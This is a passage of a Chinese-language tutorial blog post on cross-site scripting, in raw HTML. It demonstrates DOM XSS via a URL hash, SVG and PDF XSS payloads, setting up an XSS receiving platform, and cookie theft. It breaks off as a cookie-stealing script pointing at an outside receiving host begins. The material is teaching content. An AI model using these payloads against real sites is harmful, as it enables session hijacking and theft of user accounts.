src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"544\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-42-1024x544.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-556\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-43-1024x429.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"429\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-43-1024x429.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-557\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u56e0\u4e3a\u53d8\u91cfhash\u4f5c\u4e3a\u53ef\u63a7\u90e8\u5206\uff0c\u5e76\u5e26\u5165url\u4e2d\uff0c\u53d8\u91cfhash\u63a7\u5236\u7684\u662f#\u4e4b\u540e\u7684\u90e8\u5206\uff0c\u53ef\u4ee5\u4f7f\u7528\u4f2a\u534f\u8bae<code>#javascript:alert(1)<\/code>\uff0c\u5bfc\u81f4DOM XSS<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-44-1024x154.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"154\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-44-1024x154.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-564\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u901a\u8fc7\u6539\u53d8\u5ba2\u6237\u7aef\u7684\u4f20\u5165\u53c2\u6570\u5373\u53ef\u9020\u6210<code>XSS<\/code>\uff0c\u65e2\u80fd\u8ba9JS\u8bfb\u53d6\u5230\u8be5\u53c2\u6570\uff0c\u53c8\u4e0d\u8ba9\u8be5\u53c2\u6570\u4f20\u5165\u5230\u670d\u52a1\u5668\uff0c\u4ece\u800c\u907f\u514d\u4e86WAF\u7684\u68c0\u6d4b\uff0c\u8fd9\u5c31\u662f\u7b80\u5355\u7684<code>DOM-XSS<\/code>\u6f14\u793a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e09\u3001XSS\u7684\u5176\u4ed6\u7c7b\u578b<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udd39 SVG XSS<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>SVG\u6982\u5ff5<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><code>SVG<\/code>\u5168\u79f0\u4e3a&nbsp;<code>Scalable Vector Graphics<\/code>\uff08\u53ef\u7f29\u653e\u77e2\u91cf\u56fe\u5f62\uff09\uff0c\u662f\u4e00\u79cd\u57fa\u4e8e<code>XML<\/code>\u683c\u5f0f\u7684\u5f00\u653e\u6807\u51c6\u56fe\u50cf\u683c\u5f0f\uff0c\u7528\u4e8e\u63cf\u8ff0\u4e8c\u7ef4\u77e2\u91cf\u56fe\u5f62\u3002\u4e0e\u5e38\u89c1\u7684\u4f4d\u56fe\uff08\u5982 JPG\u3001PNG\u3001GIF \u7b49\uff09\u4e0d\u540c\uff0cSVG \u4e0d\u4f9d\u8d56\u50cf\u7d20\u70b9\uff0c\u800c\u662f<strong>\u901a\u8fc7\u6570\u5b66\u516c\u5f0f\uff08\u5982\u70b9\u3001\u7ebf\u3001\u66f2\u7ebf\u3001\u5f62\u72b6\u7b49\u51e0\u4f55\u5143\u7d20\uff09\u6765\u5b9a\u4e49\u56fe\u5f62<\/strong>\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>&lt;svg width=\"400\" heigth=\"300\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\"&gt;\n\t&lt;!-- \u8fd9\u91cc\u653e\u56fe\u7247\u5143\u7d20 --&gt;\n&lt;\/svg&gt;\n--- \u5176\u4e2dxmlns=\"http:\/\/www.w3.org\/2000\/svg\"\u662f\u5fc5\u987b\u58f0\u660e\u7684XML\u547d\u540d\u7a7a\u95f4\uff0c\u544a\u8bc9\u89e3\u6790\u5668\u8fd9\u662fSVG\u6587\u6863<\/strong><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><code>SVG<\/code>\u4e5f\u63d0\u4f9b\u4e86\u591a\u79cd\u9884\u5b9a\u4e49\u7684\u56fe\u5f62\u5143\u7d20\uff0c\u6bcf\u4e2a\u5143\u7d20\u53ef\u4ee5\u901a\u8fc7\u5c5e\u6027\u5b9a\u4e49\u5f62\u72b6\u3001\u989c\u8272\u7b49\u6837\u5f0f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>&lt;!-- \u77e9\u5f62 --&gt;\n&lt;rect x=\"50\" y=\"30\" width=\"100\" height=\"60\" fill=\"blue\" stroke=\"red\" stroke-width=\"2\" rx=\"5\" ry=\"5\"\/&gt;\n\n&lt;!-- \u5706\u5f62 --&gt;\n&lt;circle cx=\"200\" cy=\"100\" r=\"40\" fill=\"yellow\" stroke=\"black\" stroke-width=\"3\"\/&gt;\n\n&lt;!-- \u692d\u5706 --&gt;\n&lt;ellipse cx=\"300\" cy=\"150\" rx=\"60\" ry=\"30\" fill=\"green\" stroke=\"purple\"\/&gt;\n\n&lt;!-- \u7ebf\u6bb5 --&gt;\n&lt;line x1=\"50\" y1=\"200\" x2=\"250\" y2=\"200\" stroke=\"orange\" stroke-width=\"4\" stroke-dasharray=\"5,3\"\/&gt;\n\n&lt;!-- \u591a\u8fb9\u5f62 --&gt;\n&lt;polygon points=\"150,250 100,350 200,350\" fill=\"pink\" stroke=\"gray\"\/&gt;\n\n......<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-46-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-46-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-592\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>SVG XSS\u539f\u7406<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><code>SVG-XSS<\/code>\u662f\u6307<strong>\u5229\u7528SVG\u6587\u4ef6\u6216\u4ee3\u7801\u6ce8\u5165\u8fdb\u884c\u7684\u8de8\u7ad9\u811a\u672c\u653b\u51fb<\/strong>\u3002\u6838\u5fc3\u662f\u901a\u8fc7\u5728<code>SVG<\/code>\u5185\u5bb9\u4e2d\u5d4c\u5165\u6076\u610f\u7684JS\u4ee3\u7801\uff0c\u5f53\u6d4f\u89c8\u5668\u89e3\u6790\u8be5<code>SVG<\/code>\u56fe\u7247\u65f6\uff0c\u5c31\u4f1a\u6267\u884c\u6076\u610f\u4ee3\u7801\uff0c\u4ece\u800c\u9020\u6210<code>XSS<\/code>\u653b\u51fb<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SVG \u4e4b\u6240\u4ee5\u80fd\u88ab\u7528\u4e8e XSS \u653b\u51fb\uff0c\u6838\u5fc3\u539f\u56e0\u5728\u4e8e\u5176<strong>\u57fa\u4e8e XML \u7684\u7279\u6027\u5141\u8bb8\u5d4c\u5165\u811a\u672c\u4ee3\u7801<\/strong>\uff0c\u4e14\u6d4f\u89c8\u5668\u4f1a\u5c06 SVG \u4f5c\u4e3a \u201c\u53ef\u6267\u884c\u5185\u5bb9\u201d \u89e3\u6790\uff08\u800c\u975e\u5355\u7eaf\u7684\u9759\u6001\u56fe\u7247\uff09\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u6848\u4f8b\u6f14\u793a<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u6709\u8fd9\u6837\u4e00\u4e2a<code>SVG<\/code>\u56fe\u7247\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>&lt;svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" version=\"1.1\"&gt;\n\t&lt;circle cx=\"100\" cy=\"50\" r=\"40\" stroke=\"black\" stroke-width=\"2\" fill=\"red\" \/&gt;\n\t&lt;script&gt;alert(1)&lt;\/script&gt;\n&lt;\/svg&gt;<\/strong><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u5bf9\u5176\u8fdb\u884c\u8bbf\u95ee<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-48-1024x459.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"459\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-48-1024x459.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-606\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u4e3a\u4e86\u66f4\u52a0\u771f\u5b9e\u4e00\u70b9\uff0c\u6211\u4eec\u5c31\u627e\u4e00\u4e2a\u6587\u4ef6\u4e0a\u4f20\u7684\u70b9\uff0c\u6f14\u793a\u4e00\u4e0b\u5176\u914d\u5408\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u7684\u4f7f\u7528\u6548\u679c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-49-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-49-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-612\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-50-1024x459.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"459\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-50-1024x459.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-613\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udd39 PDF XSS<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>PDF XSS\u539f\u7406<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">PDF\u683c\u5f0f\u5141\u8bb8\u5185\u5d4c<code>JavaScript<\/code>\u4ee3\u7801\uff0c\u7528\u4e8e\u5b9e\u73b0\u8868\u5355\u9a8c\u8bc1\u3001\u52a8\u6001\u5185\u5bb9\u66f4\u65b0\u7b49\u529f\u80fd\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u6b64\u7279\u6027\uff0c\u5728PDF\u4e2d\u63d2\u5165\u6076\u610f\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>app.alert(\"xss\");<\/strong><\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u6848\u4f8b\u6f14\u793a<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u91cc\u6211\u4eec\u5148\u521b\u5efa\u4e00\u4e2a<code>pdf<\/code>\uff0c\u4f7f\u7528\u8fc5\u6377PDF\u7f16\u8f91\u5668\uff0c\u7136\u540e\u65b0\u5efa -&gt; \u89c6\u56fe -&gt; \u9875\u9762\u7f29\u7565\u56fe -&gt; \u53f3\u952e -&gt; \u5c5e\u6027\uff0c\u7136\u540e\u627e\u5230\u52a8\u4f5c\u6253\u5f00\u9875\u9762\u8fd9\u91cc\uff0c\u65b0\u589e<code>JavaScript<\/code>\u4ee3\u7801<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/80ac71ee93d14f2e9ec28bb7a9a38fe4-1024x494.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"494\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/80ac71ee93d14f2e9ec28bb7a9a38fe4-1024x494.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-621\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u8bbf\u95ee\u4e00\u4e0b<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-51-1024x458.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"458\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-51-1024x458.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-625\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u56db\u3001XSS\u5371\u5bb3\u5b9e\u4f8b<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udd2c XSS\u63a5\u6536\u5e73\u53f0\u642d\u5efa<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u5c0f\u76ae\u642d\u5efaBlueLotus_XSS<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-52.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1000\" height=\"786\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-52.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-633\"  sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-53-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-53-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-635\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>BeeF<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Kali\u81ea\u5e26\uff0c\u53ef\u76f4\u63a5\u4f7f\u7528\uff0c\u8fd9\u91cc\u5c31\u4e0d\u6f14\u793a\u4e86<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udd75\ufe0f \u76f2\u6253XSS<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ea\u8981\u89c1\u5230\u6ee1\u8db3\u4ee5\u4e0b\u4e24\u4e2a\u6761\u4ef6\u7684\u5730\u65b9\u5c31\u53ef\u4ee5\u76f4\u63a5\u63d2\u5165<code>XSS<\/code>\u8bed\u53e5\u770b\u7ed3\u679c<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u6709\u6570\u636e\u8f93\u5165\uff0c\u4e14\u53ef\u63a7<\/li>\n\n\n\n<li>\u6709\u6570\u636e\u56de\u663e\u5728\u524d\u7aef<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udc51 Cookie\u76d7\u53d6<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>XSS\u7a83\u53d6\u539f\u7406<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><code>Cookie<\/code>\u8eab\u4efd\u9a8c\u8bc1\u7684\u57fa\u672c\u903b\u8f91\u5c31\u662f\uff0c<strong>\u5982\u679c\u4f60\u767b\u5f55\u4e4b\u540e\u6d4f\u89c8\u5668\u4f1a\u751f\u6210\u5e76\u4fdd\u5b58\u4e00\u4e2a<code>Cookie<\/code>\u503c\uff0c\u7136\u540e\u5f53\u4f60\u4e0b\u4e00\u6b21\u8bbf\u95ee\u8fd9\u4e2a\u7f51\u7ad9\u7684\u65f6\u5019\u6d4f\u89c8\u5668\u5c31\u76f4\u63a5\u5c06<code>Cookie<\/code>\u53d1\u7ed9\u670d\u52a1\u5668\u8fdb\u884c\u8eab\u4efd\u9a8c\u8bc1\uff0c\u907f\u514d\u91cd\u590d\u767b\u5f55<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u90a3\u73b0\u5728\u6211\u4eec\u901a\u8fc7<code>XSS<\/code>\u653b\u51fb\u8bed\u53e5\u662f\u53ef\u4ee5\u76d7\u53d6\u8fd9\u4e2a<code>Cookie<\/code>\u7684\uff0c\u6240\u4ee5\u4e00\u65e6\u62ff\u5230\u8fd9\u4e2a\u4e4b\u540e\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u4f2a\u9020\u7528\u6237\u8fdb\u884c\u767b\u5f55\uff0c\u8fd9\u5c31\u662f<code>XSS<\/code>\u6700\u5e38\u7528\u7684\u653b\u51fb\u624b\u6bb5\u2014\u2014<code>Cookie<\/code>\u76d7\u53d6<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u5229\u7528\u6761\u4ef6<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u76ee\u6807\u7f51\u7ad9\u5b58\u5728\u53ef\u5229\u7528\u7684XSS\u6f0f\u6d1e<\/strong>\uff1a\u653b\u51fb\u8005\u9700\u8981\u80fd\u5728\u76ee\u6807\u9875\u9762\u4e2d\u6ce8\u5165\u5e76\u6267\u884c\u6076\u610f JavaScript \u4ee3\u7801\u3002\u6f0f\u6d1e\u7c7b\u578b\u53ef\u4ee5\u662f\u5b58\u50a8\u578b XSS\uff08\u6076\u610f\u811a\u672c\u88ab\u6c38\u4e45\u5b58\u50a8\u5728\u670d\u52a1\u5668\uff0c\u5982\u8bc4\u8bba\u533a\u3001\u4e2a\u4eba\u8d44\u6599\uff09\u6216\u53cd\u5c04\u578b XSS\uff08\u6076\u610f\u811a\u672c\u901a\u8fc7 URL \u53c2\u6570\u7b49\u4e34\u65f6\u89e6\u53d1\uff0c\u9700\u8bf1\u5bfc\u53d7\u5bb3\u8005\u70b9\u51fb\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u76ee\u6807Cookie\u672a\u8bbe\u7f6e\u6709\u6548\u7684\u4fdd\u62a4\u5c5e\u6027<\/strong>\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u7f51\u7ad9\u53ea\u5229\u7528<code>Cookie<\/code>\u8fdb\u884c\u8eab\u4efd\u9a8c\u8bc1\uff0c\u6ca1\u6709\u7528\u5230\u4ec0\u4e48<code>token<\/code>\u4e4b\u7c7b\u7684\u4e1c\u897f\u8f85\u52a9\u9a8c\u8bc1<\/li>\n\n\n\n<li>\u5e76\u4e14<code>Cookie<\/code>\u548c\u6d4f\u89c8\u5668\u4e5f\u6ca1\u6709\u8bbe\u7f6e\u50cf<code>HttpOnly=true<\/code>\u3001<code>SameSite<\/code>\u3001<code>Secure<\/code>\u7684\u5c5e\u6027<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u53d7\u5bb3\u8005\u9700\u8981\u89e6\u53d1\u6076\u610f\u811a\u672c\u5e76\u4e14Cookie\u6709\u6548<\/strong>\uff1a\u53d7\u5bb3\u8005\u9700\u8bbf\u95ee\u5305\u542b\u6076\u610f\u811a\u672c\u7684\u9875\u9762\uff08\u5b58\u50a8\u578b XSS\uff09\u6216\u70b9\u51fb\u542b\u6076\u610f\u4ee3\u7801\u7684 URL\uff08\u53cd\u5c04\u578b XSS\uff09\uff0c\u4e14\u6b64\u65f6\u53d7\u5bb3\u8005\u6d4f\u89c8\u5668\u4e2d\u5b58\u5728\u6709\u6548\u7684 Cookie\uff08\u5982\u5904\u4e8e\u767b\u5f55\u72b6\u6001\uff09\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u6848\u4f8b\u6f14\u793a<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u5229\u7528\u4e0a\u9762\u81ea\u5df1\u642d\u5efa\u7684<code>XSS<\/code>\u63a5\u6536\u5e73\u53f0\uff0c\u6765\u5230\u201c\u6211\u7684JS\u201d\uff0c\u65b0\u5efa\u4e00\u4e2aJS\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>var website=\"http:\/\/bluexss.cn\/\";\n(function(){(new 